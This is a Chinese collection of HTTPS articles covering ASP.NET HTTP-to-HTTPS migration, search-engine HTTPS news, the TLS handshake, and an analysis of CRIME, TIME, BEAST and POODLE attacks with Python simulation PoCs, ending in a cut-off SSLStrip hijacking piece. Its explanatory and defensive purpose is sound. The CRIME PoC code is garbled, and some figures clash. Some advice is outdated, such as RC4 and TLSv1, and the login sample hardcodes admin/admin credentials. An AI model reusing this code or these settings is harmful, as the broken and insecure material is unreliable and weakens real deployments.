分类
知识中心

如何将HTTP站点转换成HTTPS、及后续问题

https及https的本地测试环境搭建。asp.net结合https的代码实现http网站转换成https网站,以及之后遇到的问题等。

一:什么是https

SSL(Security   Socket   Layer)全称是加密套接字协议层,它位于HTTP协议层和TCP协议层之间,用于建立用户与服务器之间的加密通信,确保所传递信息的安全性,同时SSL安全机制是依靠数字证书来实现的。

SSL基于公用密钥和私人密钥,用户使用公用密钥来加密数据,但解密数据必须使用相应的私人密钥。使用SSL安全机制的通信过程如下:用户与IIS服务器建立连接后,服务器会把数字证书与公用密钥发送给用户,用户端生成会话密钥,并用公共密钥对会话密钥进行加密,然后传递给服务器,服务器端用私人密钥进行解密,这样,用户端和服务器端就建立了一条安全通道,只有SSL允许的用户才能与IIS服务器进行通信。

提示:SSL网站不同于一般的Web站点,它使用的是“HTTPS”协议,而不是普通的“HTTP”协议。因此它的URL(统一资源定位器)格式为“https://网站域名”。

二:https的本地测试环境搭建

1:win7/windows server 2008R2中 IIS7/IIS7.5 搭配https本地测试环境

2:windows server 2003中IIS6.0 搭配https本地测试环境

三:asp.net 结合 https的代码实现

https是由IIS,浏览器来实现的传输层加密,不需要特意的编码。。。平时怎么在asp.net里面编写代码,就怎么写。

很可能要问,为什么我的站点使用了https之后,用firebug之类的软件查看值提交的时候,还是会显示明文呢?例如,博客园的登陆界面提交。

http://passport.cnblogs.com/login.aspx

如何将HTTP站点转换成HTTPS、及后续问题-1

如何将HTTP站点转换成HTTPS、及后续问题-2

为什么这里还是能看到明文的用户名和密码呢?

原因是因为:https(ssl)的加密是发生在应用层与传输层之间,所以,在传输层看到的数据才是经过加密的,而我们捕捉到的http post的,是应用层的,是还没经过加密的数据。

加密的数据只有客户端和服务器端才能得到明文 客户端到服务端的通信是安全的

支付宝也是https的,但是他的同时也增加了安全控件来保护密码, 以前认为这个只是用来防键盘监听的,其实,看下面http post截获的密码:这个安全控件把给request的密码也先加了密,紧接着https再加次密,果然是和钱打交道的,安全级别高多了:)

如何将HTTP站点转换成HTTPS、及后续问题-1

四:http网站转换成https网站之后遇到的问题

整站https还是个别的页面采用https?网站的连接是使用相对路径?还是绝对路径?

如果是整站都是https,那么会显得网页有些慢,如果是个别页面采用https,那么如何保证从https转换到http的时候的url的准确性呢?

比如我们用http的时候,网站的头部底部都是用的相对路径,假如你的页面是 http://aa/index.aspx  你跳转到 https://aa/login.aspx 这里怎么来跳转?只能把超链接写死

登陆  但是这样的话,你跳转过去之后的页面 ,所有的相对路径都变成了https开头了,这样很影响网站的效率。

虽然使用绝对地址可以解决,但是那样显然不好移植。

下面就是使用第三方的组件,来解决上面的这个问题

步骤  

先下载dll文件 http://code.google.com/p/securityswitch/downloads/list    我选择的是 SecuritySwitch v4.2.0.0 – Binary.zip这个版本

如何将HTTP站点转换成HTTPS、及后续问题-2

1: 我们来看看测试项目

如何将HTTP站点转换成HTTPS、及后续问题-5

admin 文件夹,需要登录之后,才能访问。admin里面的 login.aspx  可以访问。整个admin文件夹都需要https访问:

如何将HTTP站点转换成HTTPS、及后续问题-1

contact.aspx 需要https 访问:

如何将HTTP站点转换成HTTPS、及后续问题-7

default.aspx 和 view.aspx 采用 http 访问:

如何将HTTP站点转换成HTTPS、及后续问题-8

链接我们都采用相对路径,并没有写死成 http://www.xx.com/a.aspx   或者是 https://www.xx.com/a.aspx。

如何将HTTP站点转换成HTTPS、及后续问题-9

下面我们开始用SecuritySwith来实现上面的https和http访问的规则。

2:在项目上,添加引用 SecuritySwitch.dll  ,并且添加智能提示。

如何将HTTP站点转换成HTTPS、及后续问题-4

如何将HTTP站点转换成HTTPS、及后续问题-2

如何将HTTP站点转换成HTTPS、及后续问题-6

这样,只能提示就有了。

如何将HTTP站点转换成HTTPS、及后续问题-13

3:然后我们在web.config里面添加设置  。根据IIS的不同,还分为 IIS6+ IIS7.X(经典模式)  以及 IIS7(集成模式) 的不同的配置,这里我们是按照IIS6+IIS7.X的(经典模式)来配置的。

只看看里面的 SSL配置即可:

  • <?xml version=”1.0″?>
  • <configuration>
  • <!–SSL配置1开始–>
  • <configSections>
  • <section name=”securitySwitch” type=”SecuritySwitch.Configuration.Settings, SecuritySwitch” />
  • </configSections>
  • <securitySwitch    baseInsecureUri=”http://webjoeyssl” baseSecureUri=”https://webjoeyssl” xmlns=”http://SecuritySwitch-v4.xsd” mode=”On”>
  • <!–如果你的http和https仅仅只有一个s的区别,那么这里的base的2个url可以不写,那为什么还要搞这2个url呢?因为比如
  • 你的 baseInsecureUri (基本不安全网址) 是 http://www.qq.com
  • 而你的  baseSecureUri (基本安全网址)  是 https://safe.qq.com
  • 然后这个时候你访问一个需要https的页面,假如是 login.aspx?return=joey
  • 假如你是通过http://www.qq.com/login.aspx?return=joey访问的,那么这个
  • 页面会跳转到http://safe.qq.com/login.aspx?return=joey
  • –>
  • <paths>
  • <add path=”~/contact.aspx”/>
  • <add path=”~/admin/login.aspx”/>
  • <add path=”~/admin” />
  • <!–这里的admin因为不仅是 admin 文件夹,而且还包含类似的 adminNews.aspx  adminQQ.aspx 页面”–>
  • <!–但是如果是  ~/admin/   就是专门指admin文件夹–>
  • </paths>
  • </securitySwitch>
  • <!–SSL配置1结束—>
  • <appSettings />
  • <system.web>
  • <compilation debug=”true”>
  • </compilation>
  • <!–  内置票据认证 start–>
  • <authentication mode=”Forms”>
  • <forms name=”mycook” loginUrl=”admin/login.aspx” protection=”All” path=”/” />
  • </authentication>
  • <!–SSL配置2  如果是 IIS <= 6.x, IIS 7.x + 经典模式–>
  • <httpModules>
  • <add name=”SecuritySwitch” type=”SecuritySwitch.SecuritySwitchModule, SecuritySwitch” />
  • </httpModules>
  • <!–SSL配置2结束–>
  • </system.web>
  • <!–SSL配置2 如果是IIS7.X + 集成模式–>
  • <!–<system.webServer>
  • <validation validateIntegratedModeConfiguration=”false” />
  • <modules>
  • –><!– for IIS 7.x + 集成模式 –><!–
  • <add name=”SecuritySwitch” type=”SecuritySwitch.SecuritySwitchModule, SecuritySwitch” />
  • </modules>
  • </system.webServer>–>
  • <!–如果是IIS7.X+集成模式  SSL配置2 结束—>
  • </configuration>

4: 由于用到了内置票据认证,所以要在 Global.asax添加以下代码:

  • protected void Application_AuthenticateRequest(object SENDER, EventArgs e)
  • {
  • if (HttpContext.Current.User != null)
  • {
  • if (HttpContext.Current.User.Identity.IsAuthenticated)
  • {
  • if (HttpContext.Current.User.Identity is FormsIdentity)
  • {
  • FormsIdentity id = (FormsIdentity)HttpContext.Current.User.Identity;
  • FormsAuthenticationTicket tiecket = id.Ticket;
  • string userData = tiecket.UserData;
  • string[] roles = userData.Split(‘,’);
  • HttpContext.Current.User = new System.Security.Principal.GenericPrincipal(id, roles);
  • }
  • }
  • }
  • }

5: 后台登陆界面  admin/login.aspx:

  • <%@ Page Language=”C#” AutoEventWireup=”true” CodeBehind=”login.aspx.cs” Inherits=”web.admin.login” %>
  • <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
  • <html xmlns=”http://www.w3.org/1999/xhtml”>
  • <head runat=”server”>
  • <title></title>
  • </head>
  • <body>
  • <form id=”form1″ runat=”server”>
  • 用户名:<asp:TextBox ID=”txtUser” runat=”server”></asp:TextBox><br />
  • 密码:<asp:TextBox ID=”txtPass” runat=”server”></asp:TextBox><br />
  • 记住用户名:<asp:CheckBox ID=”chkUsername” runat=”server”  Checked=”true”/>
  • <br />
  • <asp:Literal ID=”litResult” runat=”server”></asp:Literal>
  • <br />
  • <asp:Button ID=”btnSubmit” runat=”server” Text=”提交” onclick=”btnSubmit_Click” />
  • </form>
  • </body>
  • </html>

后台登陆界面 cs   admin/login.aspx.cs:

  • using System;
  • using System.Collections.Generic;
  • using System.Web;
  • using System.Web.UI;
  • using System.Web.UI.WebControls;
  • using System.Web.Security;
  • namespace web.admin
  • {
  • public partial class login : System.Web.UI.Page
  • {
  • protected void Page_Load(object sender, EventArgs e)
  • {
  • }
  • protected void btnSubmit_Click(object sender, EventArgs e)
  • {
  • string username = txtUser.Text;
  • string pass = txtPass.Text;
  • bool ischeck=chkUsername.Checked;
  • if (username==”admin” && pass==”admin”)
  • {
  • SaveLogin(username, ischeck);
  • }
  • }
  • private void SaveLogin(string username, bool ischeck)
  • {
  • HttpCookie cook;
  • string strReturnURL;
  • string roles = “admin”;//将用户的usernameid,保存到cookies,身份是 admin 身份
  • //要引用 using System.Web.Security;
  • FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(
  • 1, username, DateTime.Now, DateTime.Now.AddMinutes(30), ischeck, roles);
  • cook = new HttpCookie(“mycook”);//对应webconfig里面的 验证里面的 forms name=”mycook”
  • cook.Value = FormsAuthentication.Encrypt(ticket);
  • Response.Cookies.Add(cook);
  • strReturnURL = Request.Params[“ReturnUrl”];
  • if (strReturnURL != null)
  • {
  • Response.Redirect(strReturnURL);
  • }
  • else
  • {
  • Response.Redirect(“default.aspx”);
  • }
  • }
  • }
  • }
分类
网络新闻

百度主域名及网盘开始支持HTTPS加密浏览了

有消息称百度开始提供HTTPS加密浏览了,简单来说,HTTPS就是安全版的HTTP,即在HTTP下加入SSL层(Secure Sockets Layer:安全套接层),而后逐渐演变为TLS(Transport Layer Security:传输层安全)。

 

实际上,普通的HTTP浏览方式存在很大的安全隐患,用户与搜索引擎服务器间的交互有可能会遭遇第三方监听、干扰、截断等危险。比如我们在使用百度搜索某个关键词时,可能会遭到第三方的拦截,甚至通过技术手段来阻止用户的搜索操作。

据了解,早在2010年5月末,谷歌便开始支持近HTTPS(超文本加密传输协议)加密技术的搜索方式。此外,谷歌还在今年8月初的月份公告中表示,谷歌搜索将会把“是否采用加密协议(HTTPS)”纳入网站搜索排名算法的参考因素范围。

如今,百度终于走出了支持HTTPS加密浏览模式这一步。下一步是否会开始主动抓取使用HTTPS协议的站点呢?

分类
知识中心

客户端对HTTPS协议的支持方案

对于互联网客户端应用来说,通过http与网站服务器进行通信是一个重要的手段。但是某些情况下,客户端需要访问或提交一些重要资源,而且不希望有人盗取这些接口调用,此时就需要考虑https协议了。目前https在web端已经非常普遍,比如邮箱、购物、银行交易等。

那么,什么是https,它到底有什么好处,客户端能不能使用https,实现方法又是怎样的呢?这篇文章就来简单回答一下这些问题。

一、什么是HTTPS?

首先来认识一下https:维基百科-HTTPS。简单理解,https是安全版的http,通过在TCP与http层之间加入SSL协议层保证通信方身份、数据通道和数据本身的安全性,https采用443端口。关于SSL参考:维基百科-SSL,简单来说SSL主要完成两件事情:身份认证和数据加密。打个比方,打电 话的时候,如果通过某种方式确认通话双方的身份,而且电 话通道是安全加密的,甚至双方交流都采用暗语,那么几乎没有第三者能窃取通话内容。现在我们可以确定地说,https协议是安全的。而对于明文的http,如果你想干点坏事成本不太高,比如最近比较火的12306,用Wireshark或Fiddler抓包再费点功夫解析一下,你完全可以写个客户端或浏览器插件自己抢票;网上流行的论坛自动刷评论软件也是这样做的。但在https面前,这些完全不用担忧。

二、HTTPS是怎样工作的?

最关键的步骤就是建立server和client的SSL安全连接通道,在网上找到一个非常好的图来描述这个步骤。

 

客户端对https的支持方案:

这里主要描述流程和逻辑,以及这样做的目的。我们可以看到整个过程分为四个阶段:

1,client建立TCP连接后,发送一个标志请求,双方交换一些与加密相关的信息。这个过程主要是为了协商加密算法。

2,server会紧接着将自己的证书发送给client,来完成client对server身份的认证。这里的证书可以理解为一种网络身份证,即由一些有资质的CA机构(如VeriSign)经过核实后颁发的证明文件,因此如果想让server支持https是需要花钱买数字证书的,同时windows等操作系统也已经提供了一套API来完成对证书合法性的检查(类似于去公安部分查证某人的身份)。

对于这一步,浏览器的标准做法是维护一个CA机构的列表(该列表用户可以干预),当验证证书时,如果是列表中的机构(或经其授权的机构,证书链)颁发的就为可信任证书。然后还会验证证书有效期、证书标明的域名和目前访问的域名是否一致、证书中的公钥能否解开证书数字签名等。对于其他应用客户端,由于已经明确知道server证书的域名等信息,因此可以将认证逻辑做的更加严格。如果客户端发现server认证失败,就断开连接。这样,就可以防止有人伪造server来骗取客户端连接和https请求,从而将https解密盗用接口。

需要明确的一个概念是,SSL的认证和加密之间没有必然联系,也就是说如果client不做认证,后续依然可以继续标准的SSL加密,和server进行https通信。可以这样理解,SSL将身份认证步骤独立出来,如果双方继续连接和握手过程,那么可以继续协商数据加密算法,完成后续的通信。此时对于通信双方来说,这次的数据通道和数据本身都是安全的,不会别第三者截取和解密。但是如果和你打电 话的人不是你要的,虽然你说的是暗语,对方也能听懂,因为电 话一开始你们俩就从一系列标准暗语里协商了一个来用,暗语只是用来防止第三者窃听。

3,如果server要求,client需要发送自己的证书,server完成对client端身份的认证。目的与第2步类似,但是一般很多server并不要求对client身份进行认证。

4,协商最终加密算法。client用服务器证书中的公钥加密一个随机串密码(pre-mastersecret),并将一个由之前协商算法计算而来的握手消息用pre-mastersecret加密,将这些一并发给server;server收到后,用对应的私钥解密pre-mastersecret,由于密钥只有server知道,因此其他人无法得到pre-mastersecret。server使用pre-mastersecret解密握手消息,并验证是否符合之前的协商规则。server和client通过相同的算法生成一个mastersecret,此后server和client之间用mastersecret作为初始密钥进行对称加解密通信。可以看出,双方先通过非对称加密方式生成对称加密所用的密钥,然后用该密钥进行对称加密通信。关于对称加密/非对称加密/公钥/密钥等概念,请自行google。

需要说明的是,上面四个阶段是从逻辑上区分的,实际SSL协商时client和server之间的数据交互可能有所穿插和合并。

通过以上建立起的SSL,保证了通信双方、通道和数据的安全性,后续的通信过程也足够安全。

三、客户端实现

实际上很多浏览器、邮箱等已经是支持https的客户端了。如果我们在开发过程中有客户端对https的支持需求,可以按照标准的https/ssl协议来实现,但是难度还是相当大的。幸好已经有开源的代码可以用了,那就是libcurl 和 openssl。openssl封装了ssl标准,而libcurl也提供了对openssl的支持。这里是libcurl官方提供的一个调用ssl的samplecode:simplessl,关于libcurl和openssl开发的具体细节,大家可以google相关资料。

分类
知识中心

https站点如何建设才能提高对百度友好度?

由于百度不会主动抓取https网页,因而导致了很多https网页无法被收录。今日,百度站长平台就“https站点如何建设才能对百度友好”这一问题发布了公告,文中阐述了该问题的注意事项、以及应对方案。

详情如下:

主要可从以下四个方面提高https站点的百度友好度:

1,为需要被百度搜索引擎收录的https页面制作http可访问版。

2,通过user-agent判断来访者,将Baiduspider定向到http页面,普通用户通过百度搜索引擎访问该页面时,通过301重定向至相应的https页面。如图所示,上图为百度收录的http版本,下图为用户点击后会自动跳入https版本。

https站点如何建设才能提高对百度友好度?-1

3,http版本不是只为首页制作,其它重要页面也需要制作http版本,且互相链接,切不要出现这种情况:首页http页面上的链接依然链向https页面,导致Baiduspider无法继续抓取——我们曾经遇到这种情况,导致整个网点我们只能收录一个首页。

如下面这个做法就是错误的:http://www.abc.com/ 链向https://www.adc.com/bbs/

4,可以将部分不需要加密的内容,如资讯等使用二级域名承载。比如支付宝站点,核心加密内容放在https上,可以让Baiduspider直接抓取的内容都放置在二级域名上。

https站点如何建设才能提高对百度友好度?-2

分类
网络新闻

Google调整搜索引擎算法:HTTPS网站排名更高

Google在自己的官方博客发布公告,已经调整其搜索引擎算法,采用HTTPS加密的网站在搜索结果中的排名将会更高。

Google称在过去数月已经对目标网站是否采用安全层进行过测试。其目标非常简单,就是要鼓励全球网站采用安全度更高的HTTPS以保证访客安全。Google在博客中称,安全是公司的最高优先级之一。除了要确保Google服务的安全以外,让整个互联网更加安全也是Google的目标之一。

Google称会在未来几周内提供采纳HTTPS的最佳实践,其推荐的基本做法包括确定证书类型、采用2048位证书、对于同一安全域内的资源采用相对URL等。如果网站已经实现HTTPS,Google提供了Qualys Lab tool来测试其安全等级和配置,以及TLS性能测试来评估安全对性能的影响。

到目前为止,受算法调整影响的搜索结果占比不超过1%,这说明HTTPS相对于内容质量等因素所占权重并不高。但是由于Google对网站流量的巨大影响力,相信它的这项策略调整还是会令其他网站做出提高web安全的努力的。

分类
知识中心

常见HTTPS攻击方法——解析

0x00 背景

研究常见的https攻击方法

Beast crime breach,并针对https的特性提出一些安全部署https的建议。

针对于HTTPS的攻击,多存在于中间人攻击的环境中,主要是针对于HTTPS所使用的压缩算法和CBC加密模式,进行side-channel-attack。这几类攻击的前置条件都比较苛刻,且都需要受害主机提交很多次请求来收集破译关键数据的足够信息。

常见的攻击方法,主要有,BEAST、Lucky-13、RC4 Biases、CRIME、TIME、BREACH等。主要对其中几种进行介绍。

  0x01 CRIME

Compression Ratio Info-leak Made Easy

攻击原理

攻击者控制受害者发送大量请求,利用压缩算法的机制猜测请求中的关键信息,根据response长度判断请求是否成功。

如下面的https头,攻击这可以控制的部分为get请求地址,想要猜测的部分为Cookie。那么攻击者只需要在GET地址处,不断变换猜测字符串,进行猜测。

GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

比如上面的情况Response长度为 1000byte。

GET /sessionid=d HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

当攻击者猜对了cookie的第一个字母,Response的长度会缩小到9999byte。

当Response被SSL加密之后,如果使用RC4加密模式,长度并不会发生随机改变。使用BCB加密模式时,因为padding的原因,长度会有略微的改变。

受影响的加密算法

Deflate = LZ77 + HuffMan

GZip = Headers + Data Compressed using Deflate

攻击前提

攻击者可以获取受害者的网络通信包。(中间人攻击,ISP供应商)

浏览器和服务器支持均支持并使用压缩算法。

攻击这可以控制受害者发送大量请求并可以控制请求内容。

防御方法

客户端可以升级浏览器来避免这种攻击。

▪ Chrome: 21.0.1180.89 and above▪ Firefox: 15.0.1 and above▪ Opera: 12.01 and above▪ Safari: 5.1.7 and above

服务器端可以通过禁用一些加密算法来防止此类攻击。

Apache

• SSLCompression flag = “SSLCompression off”

• GnuTLSPriorities flag = “!COMP-DEFLATE”

禁止过于频繁的请求。

修改压缩算法流程,用户输入的数据不进行压缩。

随机添加长度不定的垃圾数据。

TLS 1.0.SPDY protocol (Google).Applications that uses TLS compression.Mozilla Firefox (older versions) that support SPDY.Google Chrome (older versions) that supported both TLS and SPDY.

POC

这个poc并不是模拟真实环境下的中间人攻击,只是在python中利用CRIME的思想验证了攻击的可行性。

import string import zlib import sys import random charset = string.letters + string.digits COOKIE = ”.join(random.choice(charset) for x in range(30)) HEADERS = (“POST / HTTP/1.1rn” “Host: thebankserver.comrn” “Connection: keep-alivern” “User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn” “Accept: */*rn” “Referer: https://thebankserver.com/rn” “Cookie: secret=”+COOKIE+”rn” “Accept-Encoding: gzip,deflate,sdchrn” “Accept-Language: en-US,en;q=0.8rn” “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3rn” “rn”) BODY = (“POST / HTTP/1.1rn” “Host: thebankserver.comrn” “Connection: keep-alivern” “User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn” “Accept: */*rn” “Referer: https://thebankserver.com/rn” “Cookie: secret=”) cookie = “” def compress(data): c = zlib.compressobj() return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH) def getposset(perchar,chars): posset = [] baselen = len(compress(HEADERS+perchar)) for i in chars: t = len(compress(HEADERS+ perchar+i)) if (t<=baselen): posset += i return posset def doguess(): global cookie while len(cookie)<30: posset = getposset(BODY+cookie,charset) trun = 1 tem_posset = posset while 1<len(posset): body.find(?rn?)=”” while=”” true=”” return=”” posset[0]=”” print=”” +=”posset[0]” cookie=”” false=”” len(posset)=”=0:” if=”” +1=”” trun=”trun” posset=”getposset(tem_body+cookie,tem_posset)” tem_body=”BODY[trun:]”>=0: if not doguess(): print “(-)Changebody” BODY = BODY[BODY.find(“rn”) + 2:] print “(+)orign cookie”+COOKIE print “(+)Gotten cookie”+cookie

  0x02 TIME

Timing Info-leak Made Easy

攻击原理

攻击者控制受害者发送大量请求,利用压缩算法的机制猜测请求中的关键信息,根据response响应时间判断请求是否成功。其实TIME和CRIME一样都利用了压缩算法,只不过CRIME是通过长度信息作为辅助,而TIME是通过时间信息作为辅助。

Unable to render embedded object: File (1.jpg) not found.

如上图当数据长度,大于MTU时会截断为两个包发送,这样就会产生较大的相应时间差异。攻击者吧包长控制在MTU左右,不断尝试猜测COOKIE。 Unable to render embedded object: File (QQ图片20140724174303.jpg) not found.

如上图所示,我们通过添加Padding来吧数据包大小增加到和MTU相等,Case 1中我们添加的extraByte和需要猜测的数据重合,因为压缩算法的原因,并不会增加包的长度,而Case 2中extraByte和需要猜测的数据并不一致,导致了分包。攻击这可以通过响应时间的不同来区分Case1 Case2两种情况。

攻击前提

攻击这可以控制受害者发送大量请求并可以控制请求内容。

稳定的网络环境。

防御方法

在解密Response过程中加入随机的短时间延迟。

阻止短时间内的频繁请求。

  0x03 BEAST

Browser Exploit Against SSL/TLS

攻击原理

攻击者控制受害者发送大量请求,利用CBC加密模式猜测关键信息。

CBC模式工作的方法是当加密第i块的时候,和第i-1块的密文异或。更正式地表达如下:

Ci= E(Key, Ci-1 ? Mi)

很显然,当你加密第一块的时候,没有前一块的密文和它异或,因此,标准的做法是产生一个随机的初始化向量(IV),并且用它和第一块明文异或。第一块M0的加密如下:

C0= E(Key, IV ? M0).

然后,接着第一块M1加密如下:

C1= E(Key, C0 ? M1).

现在,除非C0 碰巧和IV一样(这是非常不可能的),那么,即使M0 = M1,对于加密函数来说,两个输入是不同的,因此,C0≠ C1。 CBC有两种的基本的使用方法:

1. 对于每条记录都认为是独立的;为每一个记录产生一个IV

2. 把所有的记录当作一个链接在一起的大对象,并且在记录之间继续使用CBC的状态。这意味着最后一条记录n的IV是n-1条记录的密文。

SSLV3和TLS1.0选择的是第二个用法。这好像本来就是个错误

CBC有两种的基本的使用方法:

1. 对于每条记录都认为是独立的;为每一个记录产生一个IV

2. 把所有的记录当作一个链接在一起的大对象,并且在记录之间继续使用CBC的状态。这意味着最后一条记录n的IV是n-1条记录的密文。

SSL 3.0和TLS1.0选择的是第二个用法。因此产生了加密算法的安全问题。

攻击者可以把想要猜测的数据段替换掉成:

X ? Ci-1 ? P

当这个注入的内容被加密,X会被异或,结果传给加密算法的明文块如下:

Ci-1 ? P

如果P==Mi , 新的密文块将和Ci一样,这意味着,你的猜测是正确的。

攻击前提

攻击者可以获取受害者的网络通信包。(中间人攻击,ISP供应商)

攻击者需要能得到发送敏感数据端的一部分权限。以便将自己的信息插入SSL/TLS会话中。

攻击者需要准确的找出敏感数据的密文段。

攻击这可以控制受害者发送大量请求并可以控制请求内容。

防御方法

使用RC4加密模式代替BCB加密模式。

部署TLS 1.1或者更高级的版本,来避免SSL 3.0/TLS 1.0带来的安全问题。

在服务端设置每传输固定字节,就改变一次加密秘钥。

影响范围

TLS 1.0.

SPDY protocol (Google).

Applications that uses TLS compression.

Mozilla Firefox (older versions) that support SPDY.

Google Chrome (older versions) that supported both TLS and SPDY.

POC

仅在python上模拟了攻击思想的实现,编码中只实现了第一个字母的猜测。

import sys import string import random from Crypto.Cipher import AES key = ‘lyp62/22Sh2RlXJF’ mode = AES.MODE_CBC vi = ‘1234567812345678’ charset = string.letters + string.digits cookie = ”.join(random.choice(charset) for x in range(30)) HEADERS = (“POST / HTTP/1.1rn” “Host: thebankserver.comrn” “Connection: keep-alivern” “User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn” “Accept: */*rn” “Referer: https://thebankserver.com/rn” “Cookie: secret=”+cookie+”rn” “Accept-Encoding: gzip,deflate,sdchrn” “Accept-Language: en-US,en;q=0.8rn” “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3rn” “rn”) global pad_num def add_padding(plaintext): global pad_num pad_num = 16 – len(plaintext) % 16 for i in range(0,pad_num): plaintext += chr(pad_num) return plaintext def check_padding(plaintext): global pad_num for i in range(1,pad_num+1): if (plaintext[-i]!=chr(pad_num)): return False return True def encrypto(plaintext): global pad_num obj = AES.new(key,mode,vi) if (len(plaintext) % 16): plaintext = add_padding(plaintext) else: pad_num=0 ciphertext = obj.encrypt(plaintext) if (check_padding(ciphertext)): return ciphertext else: return 0 def decrypto(ciphertext): obj = AES.new(key,mode,vi) plaintext = obj.decrypt(ciphertext) return plaintext def findcookie(): global HEADERS return HEADERS.find(‘secret=’)+7 guess_cookie=” pos_cookie=findcookie() pos_block_s = pos_cookie + 16 – pos_cookie%16 HEADERS = HEADERS[:pos_cookie] + (16 – pos_cookie % 16 + 15)*’a’ +HEADERS[pos_cookie:] encry_head = encrypto(add_padding(HEADERS)) per_per_block = encry_head[pos_block_s – 16:pos_block_s] #Ci-1 per_block = encry_head[pos_block_s:pos_block_s+16] #x aft_block = encry_head[pos_block_s+16:pos_block_s+32] #Ci+1 for i in charset: guess_block = ‘a’ * 15 + i insert_block = ”.join(chr(ord(a) ^ ord(b) ^ ord(c)) for a,b,c in zip(per_block,per_per_block,guess_block)) temp_header = HEADERS[:pos_block_s+16] + insert_block + HEADERS[pos_block_s+16:] encry_temp_header = encrypto(add_padding(temp_header)) if (aft_block == encry_temp_header[pos_block_s+32:pos_block_s+48]): print “(+)first byte is:”+i print “(+)orign cookie:”+cookie

攻击者首先使用降级攻击,来让浏览器使用ssl v3.0,再通过ssl v3.0 CBC-mode 存在的缺陷,窃取到用户传输的明文。

  0x04 POODLE

降级攻击

ssl v3.0是一个存在了很久的协议了,现在大多数浏览器为了兼容性都会支持这个协议,但是并不会首先使用这个协议,中间人攻击者可以驳回浏览器协商高版本协议的请求,只放行ssl v3.0协议。

Padding Oracle攻击

针对于CBC的攻击之前已经有一些了,比如,Beast,Lucky17之类的,详细可以看这里

首先来看CBC-mod的加解密流程。

常见HTTPS攻击方法——解析-1

  解密流程

常见HTTPS攻击方法——解析-1

  加密流程

常见HTTPS攻击方法——解析-2

  校验流程

MAC1 = hash(明文)

密文 = Encode(明文+MAC1+Padding,K) 明文 = Decode(密文,k) – MAC1-Padding(padding的长度由最后一个字节标识)

MAC2 = hash(明文) 如果 MAC1 == MAC2 则校验成功 否则失败

知二求三

Padding Oracle 攻击一般都会满足一个知二求三的规律,如下图

(1) VI

(2) 解密后的数据,叫它 midText把

(3) Plaintext

这三个值我们得到其中两个就可以推出另外一个,因为他们在一起Xor了嘛。

/uploadImages/2015/001/4FR36E9F7YI0.jpg

在Poodle攻击中,我们会把最后一个数据块替换成我们想要猜测的数据块。如下图所示。

常见HTTPS攻击方法——解析-4

  这样导致的直接后果就是,CBC完整性验证失败,数据包被驳回。我们假设最后一个数据块均为padding组成(其实我们可以通过控制包的长度来达到这一目的,比如增加path的长度)

那么当且仅当Plaintext[7] == 7(block为16为时为15) 的时候CBC完整性校验才会通过。如果不为7,多删或者少删的padding,都会影响到MAC的正确取值,从而导致校验失败。

那么,我们只需要不断地更改(1) IV 最后一位的值 ,直到(3) Plaintext最后一位为 7 (CBC验证通过)的时候,我们就可以推出 (2) mid text 的最后一位。

常见HTTPS攻击方法——解析-3

  0x05 安全配置建议

此处的安全配置以nginx为例,主要在Nginx.conf中配置。

使用较为安全的SSL加密协议

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

使用严格的加密方法设置。

ssl_ciphers ‘ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4’;

优先依赖服务器密码。

ssl_prefer_server_ciphers on;

启用HSTS协议。

add_header Strict-Transport-Security max-age=15768000;

重定向的配置

server {

listen 80;

add_header Strict-Transport-Security max-age=15768000;

return 301 https://www.yourwebsite.com$request_uri;

}

使用2048位的数字证书

openssl dhparam -out dhparam.pem 2048

ssl_dhparam /path/to/dhparam.pem;

分类
知识中心

SSLStrip的未来——HTTPS前端劫持

0x00 前言

在之前介绍的流量劫持文章里,曾提到一种『HTTPS向下降级』的方案 —— 将页面中的 HTTPS 超链接全都替换成 HTTP 版本,让用户始终以明文的形式进行通信。

看到这,也许大家都会想到一个经典的中间人攻击工具 —— SSLStrip,通过它确实能实现这个效果。

不过今天讲解的,则是完全不同的思路,一种更有效、更先进的解决方案 —— HTTPS 前端劫持。

  0x01 后端的缺陷

在过去,流量劫持基本通过后端来实现,SSLStrip就是个典型的例子。

类似其他中间人工具,纯后端的实现只能操控最原始的流量数据,这严重阻碍了向更高层次的发展,面临众多难以解决的问题。

动态元素怎么办?

如何处理数据包分片?

性能消耗能否降低?

……

动态元素

